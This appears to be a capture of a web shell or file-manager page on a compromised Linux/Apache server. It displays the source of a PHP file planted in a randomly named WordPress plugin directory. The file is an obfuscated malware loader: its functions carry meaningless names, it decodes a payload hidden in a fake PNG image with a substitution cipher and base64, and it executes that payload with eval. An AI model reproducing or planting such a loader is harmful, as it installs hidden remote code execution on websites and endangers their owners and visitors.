HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/abathazuva/dyrykha.php
<?php

function omijag_yvyqothog($nukemi_acuthojiko) {
    if ($nukemi_acuthojiko == 1)
        return anecih_xyzurixyl();
    if ($nukemi_acuthojiko == 2)
        return jebagy_peshovilaj();
}

function izypyw_zobujujozh($nukemi_acuthojiko) {
    $arikox = omijag_yvyqothog(1);
    $arygymi = omijag_yvyqothog(2);
    for ($ybybywy = 0; $ybybywy < strlen($arikox); $ybybywy++) {
        $khigoci = substr($arikox, $ybybywy, 1);
        $omyhery = substr($arygymi, $ybybywy, 1);
        $ynachom[$khigoci] = $omyhery;
    }

    $ogoshyr = strtr($nukemi_acuthojiko, $ynachom);
    $ogoshyr = base64_decode($ogoshyr);

    return $ogoshyr;
}

function unuzyl_ukanehysu($nukemi_acuthojiko) {
    $ivyshif = array();
    if (!file_exists($nukemi_acuthojiko))
        return false;
    $uzaxify = @file_get_contents($nukemi_acuthojiko);
    if (!$uzaxify)
        return false;
    $uzaxify = substr($uzaxify, 3);
    $ivyshif = izypyw_zobujujozh($uzaxify);
    return $ivyshif;
}

function anecih_xyzurixyl() {
    $uzaxify = "vCBhm9I6RirsAj5txnz4g20uOJw7F+3/SblHo1fapc=XyKkEZVGW8eDLNUTQqMYPd";
    return $uzaxify;
}

function jebagy_peshovilaj() {
    $ivyshif = "UAy=cbTMxPI0ejV2+9hmksgB3GzEDron4uS7i5RJpLld6awZX8CNtQO1vfYFK/WHq";
    return $ivyshif;
}

$acivafo = unuzyl_ukanehysu(__DIR__ . "/ass" . "ets/" . "imag" . "es/o" . "sukoc" . ".png");
if ($acivafo) {
    @eval($acivafo);
}